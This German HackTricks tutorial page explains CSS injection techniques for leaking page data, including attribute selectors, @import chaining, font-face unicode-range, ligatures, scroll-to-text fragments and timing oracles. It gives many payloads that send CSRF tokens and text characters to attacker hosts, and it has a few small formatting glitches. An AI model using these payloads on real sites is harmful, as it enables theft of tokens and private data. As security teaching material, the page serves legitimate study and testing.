.. | ||
css-injection-code.md | ||
README.md |
CSS Injection
Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks beworben sehen möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merch
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud Github-Repositorys einreichen.
Try Hard Security Group
{% embed url="https://discord.gg/tryhardsecurity" %}
CSS Injection
Attribut-Selektor
CSS-Selektoren sind so gestaltet, dass sie Werte der name
- und value
-Attribute eines input
-Elements abgleichen. Wenn das Wertattribut des Eingabeelements mit einem bestimmten Zeichen beginnt, wird eine vordefinierte externe Ressource geladen:
input[name=csrf][value^=a]{
background-image: url(https://attacker.com/exfil/a);
}
input[name=csrf][value^=b]{
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name=csrf][value^=9]{
background-image: url(https://attacker.com/exfil/9);
}
Umgehung für versteckte Elemente
Um diese Einschränkung zu umgehen, können Sie ein nachfolgendes Geschwisterelement mithilfe des allgemeinen Geschwisterkombinators ~
anvisieren. Die CSS-Regel gilt dann für alle Geschwister, die dem versteckten Eingabeelement folgen, wodurch das Hintergrundbild geladen wird:
input[name=csrf][value^=csrF] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}
Eine praktische Beispiel zur Ausnutzung dieser Technik ist im bereitgestellten Code-Schnipsel detailliert beschrieben. Sie können ihn hier einsehen.
Voraussetzungen für CSS-Injection
Damit die CSS-Injection-Technik wirksam ist, müssen bestimmte Bedingungen erfüllt sein:
- Payload-Länge: Der CSS-Injection-Vektor muss ausreichend lange Payloads unterstützen, um die erstellten Selektoren aufzunehmen.
- CSS-Neubewertung: Sie sollten die Möglichkeit haben, die Seite zu rahmen, was erforderlich ist, um die Neubewertung von CSS mit neu generierten Payloads auszulösen.
- Externe Ressourcen: Die Technik setzt die Möglichkeit voraus, extern gehostete Bilder zu verwenden. Dies kann durch die Content-Security-Richtlinie (CSP) der Website eingeschränkt sein.
Blind-Attributselektor
Wie in diesem Beitrag erklärt, ist es möglich, die Selektoren :has
und :not
zu kombinieren, um Inhalte auch von blinden Elementen zu identifizieren. Dies ist sehr nützlich, wenn Sie keine Ahnung haben, was sich innerhalb der Webseite befindet, die die CSS-Injection lädt.
Es ist auch möglich, diese Selektoren zu verwenden, um Informationen aus mehreren Blöcken desselben Typs wie in:
<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background:url(/m);
}
</style>
<input name=mytoken value=1337>
<input name=myname value=gareth>
Kombiniert mit der folgenden @import-Technik ist es möglich, viele Informationen mithilfe von CSS-Injektion aus blinden Seiten mit blind-css-exfiltration** zu exfiltrieren**.
@import
Die vorherige Technik hat einige Nachteile, überprüfen Sie die Voraussetzungen. Sie müssen entweder in der Lage sein, mehrere Links an das Opfer zu senden, oder Sie müssen in der Lage sein, die CSS-Injektions-anfällige Seite in ein iFrame einzubetten.
Es gibt jedoch eine weitere clevere Technik, die CSS @import
verwendet, um die Qualität der Technik zu verbessern.
Dies wurde erstmals von Pepe Vila gezeigt und funktioniert wie folgt:
Anstatt die Seite immer wieder mit dutzenden verschiedener Payloads zu laden (wie bei der vorherigen Methode), werden wir die Seite nur einmal und nur mit einem Import zum Server des Angreifers laden (dies ist der Payload, der an das Opfer gesendet werden soll):
@import url('//attacker.com:5001/start?');
- Der Import erhält ein CSS-Skript von den Angreifern und der Browser wird es laden.
- Der erste Teil des CSS-Skripts, den der Angreifer senden wird, ist ein weiteres
@import
zum Server der Angreifer. - Der Server der Angreifer wird auf dieses Anfrage noch nicht antworten, da wir einige Zeichen durchsickern lassen wollen und dann auf diese Importanfrage mit dem Payload antworten, um die nächsten durchsickern zu lassen.
- Der zweite und größere Teil des Payloads wird ein Payload zur Leckage von Attributselektoren sein.
- Dies wird dem Server der Angreifer das erste Zeichen des Geheimnisses und das letzte senden.
- Sobald der Server der Angreifer das erste und letzte Zeichen des Geheimnisses erhalten hat, wird er die Importanfrage aus Schritt 2 beantworten.
- Die Antwort wird genau wie in den Schritten 2, 3 und 4 sein, aber dieses Mal wird versucht, das zweite Zeichen des Geheimnisses und dann das vorletzte zu finden.
Der Angreifer wird diese Schleife verfolgen, bis es ihm gelingt, das Geheimnis vollständig zu leaken.
Sie können den ursprünglichen Code von Pepe Vila, um dies auszunutzen, hier finden oder Sie können fast den gleichen Code, aber kommentiert hier finden.
{% hint style="info" %} Das Skript wird versuchen, jedes Mal 2 Zeichen zu entdecken (vom Anfang und vom Ende), weil der Attributselektor es ermöglicht, Dinge wie:
/* value^= to match the beggining of the value*/
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}
/* value$= to match the ending of the value*/
input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}
Dies ermöglicht es dem Skript, das Geheimnis schneller preiszugeben. {% endhint %}
{% hint style="warning" %}
Manchmal erkennt das Skript nicht korrekt, dass das entdeckte Präfix + Suffix bereits die vollständige Flagge ist, und es wird weiter vorwärts (im Präfix) und rückwärts (im Suffix) gehen und irgendwann hängen bleiben.
Keine Sorge, überprüfen Sie einfach die Ausgabe, denn dort können Sie die Flagge sehen.
{% endhint %}
Andere Selektoren
Andere Möglichkeiten, auf DOM-Teile mit CSS-Selektoren zuzugreifen:
.class-to-search:nth-child(2)
: Dies sucht das zweite Element mit der Klasse "class-to-search" im DOM.:empty
Selektor: Wird beispielsweise in diesem Writeup: verwendet
[role^="img"][aria-label="1"]:empty { background-image: url("YOUR_SERVER_URL?1"); }
Fehlerbasierte XS-Suche
Referenz: CSS-basierter Angriff: Ausnutzung von unicode-range von @font-face, Fehlerbasierte XS-Suche PoC von @terjanq
Die allgemeine Absicht besteht darin, eine benutzerdefinierte Schriftart von einem kontrollierten Endpunkt zu verwenden und sicherzustellen, dass Text (in diesem Fall 'A') nur mit dieser Schriftart angezeigt wird, wenn die angegebene Ressource (favicon.ico
) nicht geladen werden kann.
<!DOCTYPE html>
<html>
<head>
<style>
@font-face{
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range:U+0041;
}
#poc0{
font-family: 'poc';
}
</style>
</head>
<body>
<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
-
Verwendung von benutzerdefinierten Schriftarten:
- Eine benutzerdefinierte Schriftart wird mit der
@font-face
-Regel innerhalb eines<style>
-Tags im<head>
-Abschnitt definiert. - Die Schriftart ist als
poc
benannt und wird von einem externen Endpunkt (http://attacker.com/?leak
) abgerufen. - Die
unicode-range
-Eigenschaft ist aufU+0041
gesetzt und zielt auf das spezifische Unicode-Zeichen 'A' ab.
- Eine benutzerdefinierte Schriftart wird mit der
-
Objektelement mit Fallback-Text:
- Ein
<object>
-Element mit derid="poc0"
wird im<body>
-Abschnitt erstellt. Dieses Element versucht, eine Ressource vonhttp://192.168.0.1/favicon.ico
zu laden. - Die
font-family
für dieses Element ist auf'poc'
festgelegt, wie im<style>
-Abschnitt definiert. - Wenn die Ressource (
favicon.ico
) nicht geladen werden kann, wird der Fallback-Inhalt (der Buchstabe 'A') innerhalb des<object>
-Tags angezeigt. - Der Fallback-Inhalt ('A') wird mit der benutzerdefinierten Schriftart
poc
gerendert, wenn die externe Ressource nicht geladen werden kann.
- Ein
Gestaltung des Scroll-to-Text-Fragments
Die :target
-Pseudo-Klasse wird verwendet, um ein Element auszuwählen, das von einem URL-Fragment anvisiert wird, wie in der CSS Selectors Level 4-Spezifikation angegeben. Es ist wichtig zu verstehen, dass ::target-text
keine Elemente auswählt, es sei denn, der Text wird explizit vom Fragment anvisiert.
Ein Sicherheitsrisiko entsteht, wenn Angreifer die Scroll-to-Text-Fragmentfunktion ausnutzen, um die Anwesenheit eines bestimmten Textes auf einer Webseite zu bestätigen, indem sie durch HTML-Injektion eine Ressource von ihrem Server laden. Die Methode beinhaltet das Einschleusen einer CSS-Regel wie dieser:
:target::before { content : url(target.png) }
In solchen Szenarien wird bei Vorhandensein des Textes "Administrator" auf der Seite die Ressource target.png
vom Server angefordert, was auf das Vorhandensein des Textes hinweist. Eine Instanz dieses Angriffs kann über eine speziell erstellte URL ausgeführt werden, die das injizierte CSS neben einem Scroll-to-Text-Fragment einbettet:
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
Hier manipuliert der Angriff die HTML-Injektion, um den CSS-Code zu übertragen, mit dem Ziel, den spezifischen Text "Administrator" durch das Scroll-to-Text-Fragment (#:~:text=Administrator
) zu erreichen. Wenn der Text gefunden wird, wird die angegebene Ressource geladen und signalisiert unwissentlich ihre Anwesenheit gegenüber dem Angreifer.
Zur Minderung sollten die folgenden Punkte beachtet werden:
- Eingeschränktes STTF-Matching: Das Scroll-to-Text-Fragment (STTF) ist darauf ausgelegt, nur Wörter oder Sätze abzugleichen, wodurch seine Fähigkeit begrenzt wird, beliebige Geheimnisse oder Tokens preiszugeben.
- Beschränkung auf Top-Level-Browsing-Kontexte: STTF funktioniert ausschließlich in Top-Level-Browsing-Kontexten und nicht innerhalb von iframes, was jeden Ausbeutungsversuch für den Benutzer auffälliger macht.
- Notwendigkeit der Benutzeraktivierung: STTF erfordert eine Benutzeraktivierungsgeste, um zu funktionieren, was bedeutet, dass Ausbeutungen nur durch benutzerinitiierte Navigationen möglich sind. Diese Anforderung mindert das Risiko automatisierter Angriffe erheblich, ohne Benutzerinteraktion. Dennoch weist der Autor des Blog-Beitrags auf spezifische Bedingungen und Umgehungen hin (z. B. Social Engineering, Interaktion mit verbreiteten Browsererweiterungen), die die Automatisierung des Angriffs erleichtern könnten.
Das Bewusstsein für diese Mechanismen und potenziellen Schwachstellen ist entscheidend für die Aufrechterhaltung der Websicherheit und den Schutz vor solchen ausbeuterischen Taktiken.
Für weitere Informationen siehe den Originalbericht: https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/
Sie können ein Exploit, der diese Technik für ein CTF verwendet, hier überprüfen.
@font-face / unicode-range
Sie können externe Schriftarten für spezifische Unicode-Werte angeben, die nur gesammelt werden, wenn diese Unicode-Werte auf der Seite vorhanden sind. Zum Beispiel:
<style>
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range:U+0041;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range:U+0042;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range:U+0043;
}
#sensitive-information{
font-family:poc;
}
</style>
<p id="sensitive-information">AB</p>htm
Textknoten-Exfiltration (I): Ligaturen
Referenz: Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację
Die beschriebene Technik beinhaltet das Extrahieren von Text aus einem Knoten, indem Schrift-Ligaturen ausgenutzt und Änderungen in der Breite überwacht werden. Der Prozess umfasst mehrere Schritte:
- Erstellung von benutzerdefinierten Schriftarten:
- SVG-Schriftarten werden mit Glyphen erstellt, die ein Attribut
horiz-adv-x
haben, das eine große Breite für eine Glyphe festlegt, die eine Zwei-Zeichen-Sequenz darstellt. - Beispiel für eine SVG-Glyphe:
<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>
, wobei "XY" eine Zwei-Zeichen-Sequenz darstellt. - Diese Schriftarten werden dann mit Fontforge in das woff-Format konvertiert.
- Erkennung von Breitenänderungen:
- CSS wird verwendet, um sicherzustellen, dass der Text nicht umbrochen wird (
white-space: nowrap
) und um den Scrollbalkenstil anzupassen. - Das Erscheinen eines horizontalen Scrollbalkens, der deutlich gestylt ist, dient als Indikator (Orakel) dafür, dass eine bestimmte Ligatur und somit eine bestimmte Zeichensequenz im Text vorhanden ist.
- Das beteiligte CSS:
body { white-space: nowrap };
body::-webkit-scrollbar { background: blue; }
body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); }
- Ausnutzungsprozess:
- Schritt 1: Schriftarten werden für Zeichenpaare mit erheblicher Breite erstellt.
- Schritt 2: Ein Trick basierend auf dem Scrollbalken wird verwendet, um zu erkennen, wann die Glyphe mit großer Breite (Ligatur für ein Zeichenpaar) gerendert wird, was auf das Vorhandensein der Zeichensequenz hinweist.
- Schritt 3: Nach Erkennung einer Ligatur werden neue Glyphen für Dreizeichen-Sequenzen generiert, die das erkannte Paar enthalten und ein vorangehendes oder nachfolgendes Zeichen hinzufügen.
- Schritt 4: Die Erkennung der Dreizeichen-Ligatur wird durchgeführt.
- Schritt 5: Der Prozess wiederholt sich und enthüllt allmählich den gesamten Text.
- Optimierung:
- Die aktuelle Initialisierungsmethode mit
<meta refresh=...
ist nicht optimal. - Ein effizienterer Ansatz könnte den CSS
@import
-Trick einbeziehen, um die Leistung des Exploits zu verbessern.
Textknoten-Exfiltration (II): Offenlegung des Zeichensatzes mit einer Standardschriftart (keine externen Ressourcen erforderlich)
Referenz: PoC mit Comic Sans von @Cgvwzq & @Terjanq
Dieser Trick wurde in diesem Slackers-Thread veröffentlicht. Der im Textknoten verwendete Zeichensatz kann unter Verwendung der Standard-Schriftarten im Browser offengelegt werden: Es sind keine externen - oder benutzerdefinierten - Schriftarten erforderlich.
Das Konzept dreht sich darum, eine Animation zu nutzen, um die Breite eines div
schrittweise zu vergrößern, wodurch ein Zeichen nach dem anderen vom 'Suffix'-Teil des Textes zum 'Präfix'-Teil übergehen kann. Dieser Prozess teilt den Text effektiv in zwei Abschnitte:
- Präfix: Die anfängliche Zeile.
- Suffix: Die nachfolgende(n) Zeile(n).
Die Übergangsphasen der Zeichen würden wie folgt aussehen:
C
ADB
CA
DB
CAD
B
CADB
Während dieses Übergangs wird der unicode-range-Trick verwendet, um jedes neue Zeichen zu identifizieren, wenn es dem Präfix beitritt. Dies wird erreicht, indem die Schriftart auf Comic Sans umgestellt wird, die deutlich größer ist als die Standardschriftart und somit einen vertikalen Scrollbalken auslöst. Das Erscheinen dieses Scrollbalkens enthüllt indirekt das Vorhandensein eines neuen Zeichens im Präfix.
Obwohl diese Methode das Erkennen von einzigartigen Zeichen ermöglicht, während sie erscheinen, gibt sie nicht an, welches Zeichen wiederholt wird, sondern nur, dass eine Wiederholung stattgefunden hat.
{% hint style="info" %}
Grundsätzlich wird der unicode-range verwendet, um ein Zeichen zu erkennen, aber da wir keine externe Schrift laden möchten, müssen wir einen anderen Weg finden.
Wenn das Zeichen gefunden wird, erhält es die vorinstallierte Comic Sans-Schriftart, die das Zeichen vergrößert und einen Scrollbalken auslöst, der das gefundene Zeichen offenlegt.
{% endhint %}
Überprüfen Sie den aus dem PoC extrahierten Code:
/* comic sans is high (lol) and causes a vertical overflow */
@font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;}
@font-face{font-family:has_B;src:local('Comic Sans MS');unicode-range:U+42;font-style:monospace;}
@font-face{font-family:has_C;src:local('Comic Sans MS');unicode-range:U+43;font-style:monospace;}
@font-face{font-family:has_D;src:local('Comic Sans MS');unicode-range:U+44;font-style:monospace;}
@font-face{font-family:has_E;src:local('Comic Sans MS');unicode-range:U+45;font-style:monospace;}
@font-face{font-family:has_F;src:local('Comic Sans MS');unicode-range:U+46;font-style:monospace;}
@font-face{font-family:has_G;src:local('Comic Sans MS');unicode-range:U+47;font-style:monospace;}
@font-face{font-family:has_H;src:local('Comic Sans MS');unicode-range:U+48;font-style:monospace;}
@font-face{font-family:has_I;src:local('Comic Sans MS');unicode-range:U+49;font-style:monospace;}
@font-face{font-family:has_J;src:local('Comic Sans MS');unicode-range:U+4a;font-style:monospace;}
@font-face{font-family:has_K;src:local('Comic Sans MS');unicode-range:U+4b;font-style:monospace;}
@font-face{font-family:has_L;src:local('Comic Sans MS');unicode-range:U+4c;font-style:monospace;}
@font-face{font-family:has_M;src:local('Comic Sans MS');unicode-range:U+4d;font-style:monospace;}
@font-face{font-family:has_N;src:local('Comic Sans MS');unicode-range:U+4e;font-style:monospace;}
@font-face{font-family:has_O;src:local('Comic Sans MS');unicode-range:U+4f;font-style:monospace;}
@font-face{font-family:has_P;src:local('Comic Sans MS');unicode-range:U+50;font-style:monospace;}
@font-face{font-family:has_Q;src:local('Comic Sans MS');unicode-range:U+51;font-style:monospace;}
@font-face{font-family:has_R;src:local('Comic Sans MS');unicode-range:U+52;font-style:monospace;}
@font-face{font-family:has_S;src:local('Comic Sans MS');unicode-range:U+53;font-style:monospace;}
@font-face{font-family:has_T;src:local('Comic Sans MS');unicode-range:U+54;font-style:monospace;}
@font-face{font-family:has_U;src:local('Comic Sans MS');unicode-range:U+55;font-style:monospace;}
@font-face{font-family:has_V;src:local('Comic Sans MS');unicode-range:U+56;font-style:monospace;}
@font-face{font-family:has_W;src:local('Comic Sans MS');unicode-range:U+57;font-style:monospace;}
@font-face{font-family:has_X;src:local('Comic Sans MS');unicode-range:U+58;font-style:monospace;}
@font-face{font-family:has_Y;src:local('Comic Sans MS');unicode-range:U+59;font-style:monospace;}
@font-face{font-family:has_Z;src:local('Comic Sans MS');unicode-range:U+5a;font-style:monospace;}
@font-face{font-family:has_0;src:local('Comic Sans MS');unicode-range:U+30;font-style:monospace;}
@font-face{font-family:has_1;src:local('Comic Sans MS');unicode-range:U+31;font-style:monospace;}
@font-face{font-family:has_2;src:local('Comic Sans MS');unicode-range:U+32;font-style:monospace;}
@font-face{font-family:has_3;src:local('Comic Sans MS');unicode-range:U+33;font-style:monospace;}
@font-face{font-family:has_4;src:local('Comic Sans MS');unicode-range:U+34;font-style:monospace;}
@font-face{font-family:has_5;src:local('Comic Sans MS');unicode-range:U+35;font-style:monospace;}
@font-face{font-family:has_6;src:local('Comic Sans MS');unicode-range:U+36;font-style:monospace;}
@font-face{font-family:has_7;src:local('Comic Sans MS');unicode-range:U+37;font-style:monospace;}
@font-face{font-family:has_8;src:local('Comic Sans MS');unicode-range:U+38;font-style:monospace;}
@font-face{font-family:has_9;src:local('Comic Sans MS');unicode-range:U+39;font-style:monospace;}
@font-face{font-family:rest;src: local('Courier New');font-style:monospace;unicode-range:U+0-10FFFF}
div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}
div.leak::first-line{
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}
/* iterate over all chars */
@keyframes trychar {
0% { font-family: rest; } /* delay for width change */
5% { font-family: has_A, rest; --leak: url(?a); }
6% { font-family: rest; }
10% { font-family: has_B, rest; --leak: url(?b); }
11% { font-family: rest; }
15% { font-family: has_C, rest; --leak: url(?c); }
16% { font-family: rest }
20% { font-family: has_D, rest; --leak: url(?d); }
21% { font-family: rest; }
25% { font-family: has_E, rest; --leak: url(?e); }
26% { font-family: rest; }
30% { font-family: has_F, rest; --leak: url(?f); }
31% { font-family: rest; }
35% { font-family: has_G, rest; --leak: url(?g); }
36% { font-family: rest; }
40% { font-family: has_H, rest; --leak: url(?h); }
41% { font-family: rest }
45% { font-family: has_I, rest; --leak: url(?i); }
46% { font-family: rest; }
50% { font-family: has_J, rest; --leak: url(?j); }
51% { font-family: rest; }
55% { font-family: has_K, rest; --leak: url(?k); }
56% { font-family: rest; }
60% { font-family: has_L, rest; --leak: url(?l); }
61% { font-family: rest; }
65% { font-family: has_M, rest; --leak: url(?m); }
66% { font-family: rest; }
70% { font-family: has_N, rest; --leak: url(?n); }
71% { font-family: rest; }
75% { font-family: has_O, rest; --leak: url(?o); }
76% { font-family: rest; }
80% { font-family: has_P, rest; --leak: url(?p); }
81% { font-family: rest; }
85% { font-family: has_Q, rest; --leak: url(?q); }
86% { font-family: rest; }
90% { font-family: has_R, rest; --leak: url(?r); }
91% { font-family: rest; }
95% { font-family: has_S, rest; --leak: url(?s); }
96% { font-family: rest; }
}
/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% { width: 0px }
1% { width: 20px }
2% { width: 40px }
3% { width: 60px }
4% { width: 80px }
4% { width: 100px }
```css
5% { width: 120px }
6% { width: 140px }
7% { width: 0px }
}
div::-webkit-scrollbar {
background: blue;
}
/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}
Textknoten-Exfiltration (III): Offenlegung des Zeichensatzes mit einer Standardschriftart durch Ausblenden von Elementen (ohne externe Ressourcen)
Referenz: Dies wird als eine erfolglose Lösung in diesem Bericht erwähnt
Dieser Fall ist dem vorherigen sehr ähnlich, jedoch besteht das Ziel in diesem Fall darin, bestimmte Zeichen größer als andere zu machen, um etwas zu verbergen, wie z.B. eine Schaltfläche, die nicht von einem Bot gedrückt werden soll, oder ein Bild, das nicht geladen wird. So könnten wir die Aktion (oder das Fehlen der Aktion) messen und wissen, ob ein bestimmtes Zeichen im Text vorhanden ist.
Textknoten-Exfiltration (III): Offenlegung des Zeichensatzes durch Cache-Timing (ohne externe Ressourcen)
Referenz: Dies wird als eine erfolglose Lösung in diesem Bericht erwähnt
In diesem Fall könnten wir versuchen zu leaken, ob ein Zeichen im Text vorhanden ist, indem wir eine gefälschte Schriftart aus demselben Ursprung laden:
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}
Wenn es eine Übereinstimmung gibt, wird die Schriftart von /static/bootstrap.min.css?q=1
geladen. Obwohl es nicht erfolgreich geladen wird, sollte der Browser es zwischenspeichern, und selbst wenn kein Cache vorhanden ist, gibt es einen 304 not modified Mechanismus, so dass die Antwort schneller sein sollte als andere Dinge.
Wenn jedoch der Zeitunterschied zwischen der zwischengespeicherten Antwort und der nicht zwischengespeicherten Antwort nicht groß genug ist, ist dies nicht nützlich. Zum Beispiel erwähnte der Autor: Nach Tests stellte ich fest, dass das erste Problem ist, dass die Geschwindigkeit nicht viel anders ist, und das zweite Problem ist, dass der Bot das disk-cache-size=1
-Flag verwendet, was wirklich durchdacht ist.
Textknoten-Exfiltration (III): Offenlegung des Zeichensatzes durch zeitgesteuertes Laden von Hunderten lokaler "Schriftarten" (ohne externe Ressourcen)
Referenz: Dies wird als eine erfolglose Lösung in diesem Bericht erwähnt
In diesem Fall können Sie CSS angeben, um Hunderte von gefälschten Schriftarten aus der gleichen Quelle zu laden, wenn eine Übereinstimmung auftritt. Auf diese Weise können Sie die Zeit messen, die benötigt wird, und herausfinden, ob ein Zeichen erscheint oder nicht, beispielsweise mit:
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1),
url(/static/bootstrap.min.css?q=2),
....
url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}
Und der Code des Bots sieht so aus:
browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)
Wenn die Schriftart nicht übereinstimmt, wird erwartet, dass die Antwortzeit beim Besuch des Bots etwa 30 Sekunden beträgt. Wenn jedoch eine Schriftartübereinstimmung vorliegt, werden mehrere Anfragen gesendet, um die Schriftart abzurufen, was dazu führt, dass das Netzwerk kontinuierlich aktiv ist. Als Ergebnis wird es länger dauern, um die Stop-Bedingung zu erfüllen und die Antwort zu erhalten. Daher kann die Antwortzeit als Indikator verwendet werden, um festzustellen, ob eine Schriftartübereinstimmung vorliegt.
Referenzen
- https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e
- https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b
- https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d
- https://x-c3ll.github.io/posts/CSS-Injection-Primitives/
Try Hard Security Group
{% embed url="https://discord.gg/tryhardsecurity" %}
Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks beworben sehen möchten oder HackTricks im PDF-Format herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merch
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories einreichen.